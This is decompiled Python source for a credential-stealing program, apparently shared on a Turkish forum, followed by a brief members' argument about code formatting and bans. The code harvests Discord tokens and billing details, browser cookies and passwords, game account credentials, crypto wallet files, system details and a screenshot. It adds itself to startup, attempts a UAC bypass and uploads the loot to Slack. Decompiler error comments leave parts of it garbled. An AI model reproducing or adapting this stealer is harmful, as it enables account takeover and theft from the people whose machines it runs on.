leveldb_path = os.path.join(path, 'Default', 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
return []
else:
path = os.path.join(path, 'Default')
key = self.get_key(path)
if not key:
return []
else:
tokens = []
for f in os.listdir(leveldb_path):
if f.endswith(('.log', '.ldb')):
with open(os.path.join(leveldb_path, f), 'r', errors='ignore') as file:
content = file.read()
tokens += re.findall('dQw4w9WgXcQ:[^\\\"\\\\]+', content)
return list(set(filter(None, [self.decrypt_token(t, key) for t in tokens])))
except Exception:
continue
except Exception:
pass
def get_all_tokens(self):
# ***<module>.TokenCollector.get_all_tokens: Failure: Compilation Error
LOCAL = os.getenv('LOCALAPPDATA')
ROAMING = os.getenv('APPDATA')
if not LOCAL or not ROAMING:
return []
else:
return {'Discord': os.path.join(ROAMING, 'discord'), 'Discord Canary': os.path.join(ROAMING, 'discordcanary'), 'Lightcord': os.path.join(ROAMING, 'Opera Software', 'Opera Stable'), 'Opera GX': os.path.join(ROAMING, 'Opera Software', 'Opera GX Stable'), 'Amigo': os.path.join(LOCAL, 'Amigo', 'User Data'), 'Torch': os.path.join(LOCAL, 'Torch', 'User Data'), 'Kometa': os.path.join(LOCAL, 'Torch', 'User Data'), 'Orbitum': os.path.join(LOCAL, 'Torch', 'User Data'), 'Chrome SxS': os.path.join(LOCAL, 'Google', 'Chrome', 'User Data'), 'Epic Privacy Browser': os.path.join(LOCAL, 'Epic Privacy Browser', 'User Data'), 'Microsoft Edge': os.path.join(LOCAL, '
all_tokens = []
seen_tokens = set()
for name, path in PATHS.items():
if os.path.exists(path):
tokens = self.collect_tokens(path)
for t in tokens:
if t not in seen_tokens:
all_tokens.append({'token': t, 'source': name})
seen_tokens.add(t)
return all_tokens
def get_user_info(self, token):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_user_info: Failure: Compilation Error
r = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
u = r.json()
return {'id': u.get('id', ''), 'username': f'{u.get('username', '')}#{u.get('discriminator', '')}', 'email': u.get('email', 'Yok'), 'phone': u.get('phone', 'Yok'), 'public_flags': u.get('public_flags', 0), 'premium_type': u.get('premium_type', 0)}
return None
except Exception:
return None
def decode_badges(self, flags):
try:
badges = []
mapping = {1: 'Discord Staff', 2: 'Partner', 4: 'HypeSquad Events', 8: 'Bug Hunter 1', 64: 'HypeSquad Bravery', 128: 'HypeSquad Brilliance', 256: 'HypeSquad Balance', 512: 'Early Supporter', 16384: 'Bug Hunter 2', 131072: 'Verified Bot Dev', 4194304: 'Active Developer'}
for k, v in mapping.items():
if flags & k:
badges.append(v)
return badges or ['Yok']
except Exception:
return ['Yok']
def has_nitro(self, user):
try:
return bool(user.get('premium_type', 0))
except Exception:
return False
def get_canary_badges(self, token):
# ***<module>.TokenCollector.get_canary_badges: Failure: Different control flow
try:
u = self.get_user_info(token)
if u:
badges = self.decode_badges(u['public_flags'])
return badges if badges and badges!= ['Yok'] else ['Yok']
except Exception:
return ['Yok']
return ['Yok']
def calc_creation_date(self, user_id):
# ***<module>.TokenCollector.calc_creation_date: Failure: Different bytecode
try:
ts = ((int(user_id) >> 22) + 1420070400000) / 1000
return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y')
except Exception:
return 'Bilinmiyor'
def get_payments(self, token):
# ***<module>.TokenCollector.get_payments: Failure: Different bytecode
try:
r = requests.get('https://discord.com/api/v9/users/@me/billing/payment-sources', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
sources = []
for s in r.json():
if s.get('type') == 1:
sources.append(f'Kart: {s.get('brand', 'Bilinmiyor').capitalize()} •••• {s.get('last_4', '****')}')
else:
if s.get('type') == 2:
sources.append(f'PayPal: {s.get('email', 'Bilinmiyor')}')
return sources or ['Kayıtlı kart yok']
else:
return ['Kayıtlı kart yok']
except Exception:
return ['Kayıtlı kart yok']
def scan_browsers():
# irreducible cflow, using cdg fallback
# ***<module>.scan_browsers: Failure: Compilation Error
browsers = []
paths = {'Chrome': ['%LOCALAPPDATA%\\Google\\Chrome\\User Data', '%PROGRAMFILES%\\Google\\Chrome\\User Data'], 'Edge': ['%LOCALAPPDATA%\\Microsoft\\Edge\\User Data', '%PROGRAMFILES%\\Microsoft\\Edge\\User Data'], 'Brave': ['%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data', '%PROGRAMFILES%\\BraveSoftware\\Brave-Browser\\User Data'], 'Opera': ['%APPDATA%\\Opera Software\\Opera Stable'], 'Opera GX': ['%APPDATA%\\Opera Software\\Opera GX Stable'], 'Yandex': ['%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data'], 'Firefox': ['%APPDATA%\\Mozilla\\Firefox\\Profiles']}
for b, ps in paths.items():
<mask_8> = any((os.path.exists(os.path.expandvars(p)) for p in ps if os.path.exists(os.path.expandvars(p)) for p in ps))
browsers.append(b)
return browsers
except Exception:
pass
def get_system_info():
# irreducible cflow, using cdg fallback
# ***<module>.get_system_info: Failure: Compilation Error
info = {'PC': 'Bilinmiyor', 'User': 'Bilinmiyor', 'OS': 'Bilinmiyor', 'Browsers': [], 'LocalIP': 'Bilinmiyor', 'PublicIP': 'Bilinmiyor', 'CPU': 'Bilinmiyor', 'GPU': 'Bilinmiyor', 'RAM': 'Bilinmiyor'}
if __debug__:
pass
try:
pc = socket.gethostname()
info['PC'] = pc
except Exception:
pass
try:
info['User'] = os.getlogin()
except Exception:
pass
try:
info['OS'] = platform.platform()
except Exception:
pass
try:
import psutil
ram_bytes = psutil.virtual_memory().total
info['RAM'] = f'{ram_bytes / 1073741824:.2f} GB'
except Exception:
info['RAM'] = 'Bilinmiyor'
try:
cpu_out = subprocess.check_output('wmic cpu get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['CPU'] = cpu_out
except Exception:
info['CPU'] = 'Bilinmiyor'
try:
gpu_out = subprocess.check_output('wmic path win32_VideoController get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['GPU'] = gpu_out
except Exception:
info['GPU'] = 'Bilinmiyor'
try:
info['Browsers'] = scan_browsers()
except Exception:
pass
try:
info['LocalIP'] = socket.gethostbyname(pc)
except Exception:
pass
public_ip = requests.get('https://api.ipify.org', timeout=5, verify=False).text
info['PublicIP'] = public_ip
return info
except Exception:
pass
except Exception:
pass
def format_game_info(game_name, game_data):
# ***<module>.format_game_info: Failure detected at line number 799 and instruction offset 534: Different bytecode
if game_name == 'Steam' and isinstance(game_data, dict):
info = game_data
games = info.get('games_count', 0)
guard_status = info.get('mobile_guard', ' Kontrol Edilemedi')
username = info.get('username', '') or ''
level = info.get('level', '') or ''
balance = info.get('wallet_balance', '') or ''
parts = [f' {games} oyun']
if username and username.strip():
parts.append(username.strip())
if level and level.strip():
parts.append(f'Lv.{level.strip()}')
if balance and balance.strip() and (balance!= '0'):
parts.append(f'{balance.strip()}₺')
parts.append(f'Guard: {guard_status}')
return ' | '.join(parts)
else:
if game_name == 'Epic Games' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
games = info.get('games_count', 0)
username = info.get('username', 'Bilinmiyor')
email = info.get('email', 'Bilinmiyor')
return f' {games} oyun | {username} | {email}'
else:
if game_name == 'Minecraft' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
premium_count = info.get('premium_accounts', 0)
total_accounts = info.get('total_accounts', 0)
usernames = info.get('usernames', [])
if premium_count > 0:
username_str = ', '.join(usernames[:3])
if len(usernames) > 3:
username_str += f' ve {len(usernames) - 3} kişi daha'
return f' Yüklü ({premium_count} premium hesap, {total_accounts} toplam hesap, Kullanıcılar: {username_str})'
else:
return f' Yüklü ({total_accounts} hesap, premium hesap yok)'
else:
if game_data:
return ' Yüklü'
if __name__ == '__main__':
log_message('--- SCRIPT STARTED ---')
is_elevated_flag = '--elevated' in sys.argv
if is_elevated_flag:
log_message('Running in elevated mode. Continuing with full payload generation natively.')
log_message('Attempting add_to_startup...')
add_to_startup()
checker = EnvironmentCheck()
if not checker.check_environment():
log_message('Environment check FAILED (Not a target machine?). PROCEEDING ANYWAY FOR DEBUGGING.')
else:
log_message('Environment check PASSED.')
uac_bypass = None
if not is_admin():
log_message('Not admin, attempting UAC bypass...')
uac_bypass = UACBypass()
uac_bypass.initialize()
else:
log_message('Already admin.')
uac_bypass = UACBypass()
uac_bypass.result['status'] = 'success'
uac_bypass.result['method'] = 'Admin yetkisi mevcut (Bypass gerekmedi)'
cookie_count, password_count = (0, 0)
cookie_zip_path = None
if is_admin():
try:
log_message('Admin present, extracting cookies...')
res = run_cookie_extraction()
if len(res) == 3:
cookie_count, password_count, cookie_zip_path = res
except Exception as e:
log_message(f'Cookie extraction failed: {e}')
log_message('Scanning games, wallets, system info...')
with ThreadPoolExecutor(max_workers=4) as executor:
games_future = executor.submit(scan_games)
wallets_future = executor.submit(scan_wallets)
system_future = executor.submit(get_system_info)
snapshot_future = executor.submit(take_snapshot)
games = games_future.result()
wallets = wallets_future.result()
system = system_future.result()
snapshot = snapshot_future.result()
log_message(f'Games found: {list(games.keys())}')
roblox_data = get_roblox_data()
if roblox_data:
log_message('Roblox data found, storing to attach in zip.')
sonoyuncu_stealer = SonoyuncuStealer()
sonoyuncu_info = sonoyuncu_stealer.get_sonoyuncu_credentials()
minecraft_info = check_minecraft_premium()
all_tokens = TokenCollector().get_all_tokens()
log_message(f'Collected {len(all_tokens)} tokens.')
log_message('Collecting CraftRise data...')
craftrise_data = DataProcessor().collect()
log_message('Collecting wallet data...')
wallet_files = []
wallet_error_log = []
try:
wallet_files, wallet_errors = collect_wallet_data()
wallet_error_log.extend(wallet_errors)
except Exception as e:
wallet_error_log.append(f'Error collecting wallet data: {str(e)}')
discord_info = ''
if not all_tokens:
discord_info = ' Discord token bulunamadı.\n'
else:
for i, token_data in enumerate(all_tokens, 1):
t = token_data['token']
is_canary = token_data['source'] == 'canary'
u = TokenCollector().get_user_info(t)
if u:
badges = TokenCollector().decode_badges(u['public_flags'])
badge_str = ', '.join(badges) if badges and badges!= ['Yok'] else 'Yok'
canary_badge_str = badge_str if is_canary else 'Yok'
discord_info += f' Token: {t}\n'
discord_info += f' {u['username']}\n'
discord_info += f' {u['id']}\n'
discord_info += f' Mail: {u['email']}\n'
discord_info += f' Telefon: {(u['phone'] if u['phone'] else 'Yok')}\n'
discord_info += f' Rozet: {badge_str}\n'
discord_info += f' Discord Canary Rozetleri: {canary_badge_str}\n'
discord_info += f' Nitro: {(' Var' if TokenCollector().has_nitro(u) else ' Yok')}\n'
discord_info += f' Yıl: {TokenCollector().calc_creation_date(u['id'])}\n\n'
else:
discord_info += f' Token: {t}\n Bilinmeyen kullanıcı\n\n'
craftrise_msg = ''
if isinstance(craftrise_data, list):
for acc in craftrise_data:
try:
craftrise_msg += f' Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n\n'
except Exception:
pass
else:
pass
else:
craftrise_msg = str(craftrise_data)
user = os.getenv('USERPROFILE', '')
files = {'minecraft': [], 'growtopia': [], 'sonoyuncu': [], 'craftrise': [], 'wallets': wallet_files}
if user:
try:
for f in ['usercache.json', 'command_history.txt']:
file_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft', f)
if os.path.exists(file_path):
files['minecraft'].append(file_path)
except Exception:
pass
try:
growtopia_path = os.path.join(user, 'AppData', 'Local', 'Growtopia', 'save.dat')
if os.path.exists(growtopia_path):
files['growtopia'].append(growtopia_path)
except Exception:
pass
try:
sonoyuncu_path = os.path.join(user, 'AppData', 'Roaming', '.sonoyuncu', 'config.json')
if os.path.exists(sonoyuncu_path):
files['sonoyuncu'].append(sonoyuncu_path)
except Exception:
pass
try:
craftrise_path = os.path.join(user, 'AppData', 'Roaming', '.craftrise', 'config.json')
if os.path.exists(craftrise_path):
files['craftrise'].append(craftrise_path)
except Exception:
pass
log_message('Creating final zip file...')
zip_path = create_zip(files['minecraft'], files['growtopia'], files['sonoyuncu'], files['craftrise'], files['wallets'], error_log=wallet_error_log, roblox_data=roblox_data)
game_status = {k: ' Kurulu' if v else ' Yok' for k, v in games.items()}
wallet_status = {k: ' Var' for k, v in wallets.items() if v}
steam_info = games.get('Steam', {})
epic_info = games.get('Epic Games', {})
browsers_str = ', '.join(system.get('Browsers', []))
uac_status_msg = '• UAC Bypass: Başarısız'
if uac_bypass:
status = uac_bypass.result.get('status', 'unknown')
if status == 'success':
uac_status_msg = '• UAC Bypass: Başarılı'
if uac_bypass.result.get('method'):
uac_status_msg += f' - {uac_bypass.result['method']}'
else:
if is_admin():
uac_status_msg = '• UAC Bypass: Başarılı (Admin)'
else:
if is_admin():
uac_status_msg = '• UAC Bypass: Başarılı (Admin)'
sonoyuncu_formatted = (sonoyuncu_info or '').strip()
craftrise_formatted = ''
if isinstance(craftrise_data, list):
craftrise_formatted += ' CraftRise\n'
for acc in craftrise_data:
craftrise_formatted += f' Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n'
else:
if craftrise_data:
craftrise_formatted = str(craftrise_data).strip()
discord_formatted = ''
if not all_tokens:
discord_formatted = 'Bulunamadı'
else:
for token_data in all_tokens:
t = token_data['token']
u = TokenCollector().get_user_info(t)
if u:
discord_formatted += f' {u['username']}\n `{t}`\n\n'
else:
discord_formatted += f' Bilinmeyen kullanıcı\n `{t}`\n\n'
games_list = []
for g_name, g_val in games.items():
if g_val:
games_list.append(g_name)
if steam_info:
games_list.append('Steam')
if isinstance(epic_info, dict) and epic_info.get('installed'):
games_list.append('Epic Games')
if isinstance(minecraft_info, dict) and minecraft_info.get('installed'):
games_list.append('Minecraft')
games_str = '\n'.join([f'• {g}' for g in set(games_list)]) if games_list else 'Bulunamadı'
public_ip = system.get('PublicIP', 'Bilinmiyor')
flag, country = get_ip_info(public_ip)
blocks = [{'type': 'header', 'text': [{'type': 'plain_text', 'text': {' ELITE LOG DASHBOARD (Slack Entegre)': True}}, {'type': 'section', 'fields': [{'type': 'mrkdwn', 'text': f'* Kullanıcı:*\n`{system.get('User', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f'* PC:*\n`{system.get('PC', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f'* IP/Ülke:*\n`{system.get('public_ip', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f'` {system.get('flag', 'Bilinmiyor')}`'}, {'type': 'mrkdwn', 'text': f' ({country})'}, {'type': 'mrkdwn', 'text'
log_message('Sending Slack summary Dashboard (Card view)...')
attachments = [{'color': '#439fe0', 'blocks': blocks}]
send_slack_message(attachments=attachments)
log_message('Uploading captured files to Slack (via file.io)...')
files_to_send = []
if zip_path and os.path.exists(zip_path):
files_to_send.append(zip_path)
if cookie_zip_path and os.path.exists(cookie_zip_path):
files_to_send.append(cookie_zip_path)
if snapshot and os.path.exists(snapshot):
files_to_send.append(snapshot)
for f_path in files_to_send:
try:
upload_to_slack_helper(f_path)
except Exception as e:
log_message(f'Error sending file {f_path} to Slack: {e}')
else:
pass
if zip_path and os.path.exists(zip_path):
os.remove(zip_path)
if snapshot and os.path.exists(snapshot):
os.remove(snapshot)
except Exception as e:
log_message(f'CRITICAL ERROR: {str(e)}\n{traceback.format_exc()}')
if __debug__:
pass
if zip_path and os.path.exists(zip_path):
os.remove(zip_path)
if snapshot and os.path.exists(snapshot):
os.remove(snapshot)
except Exception as e:
log_message(f'CRITICAL ERROR: {str(e)}\n{traceback.format_exc()}')

e.s, kod paylasirken kod blogunda veya belge halinde iletmen daha iyi durucaktir

 

[root]

knk es ama dedikleri gibi dosya veya kod satırı içinde atsan daha iyi olurdu

 

[bnefelix]

e.s, kod paylasirken kod blogunda veya belge halinde iletmen daha iyi durucaktir

madem banlayacanız zaman aşımı atıcaksınız burdanda atın dostum okadar aktiflik yapmaya calısıyoruz yardım etmeye calısıyoruz gösterdiginiz muamele hiç iyi değil

 

[root]

madem banlayacanız zaman aşımı atıcaksınız burdanda atın dostum okadar aktiflik yapmaya calısıyoruz yardım etmeye calısıyoruz gösterdiginiz muamele hiç iyi değil

knk ne alakası var aşağılayıcı bir şey soylemedik ki forum kültüründe her zaman olan bir şey bu sadece kod blogu icine almanı istedik

 

[bnefelix]

knk ne alakası var aşağılayıcı bir şey soylemedik ki forum kültüründe her zaman olan bir şey bu sadece kod blogu icine almanı istedik

konunun senle bi alakasi yok discordda yaşanmış bir muhabbet dostum seni tanimiyoırm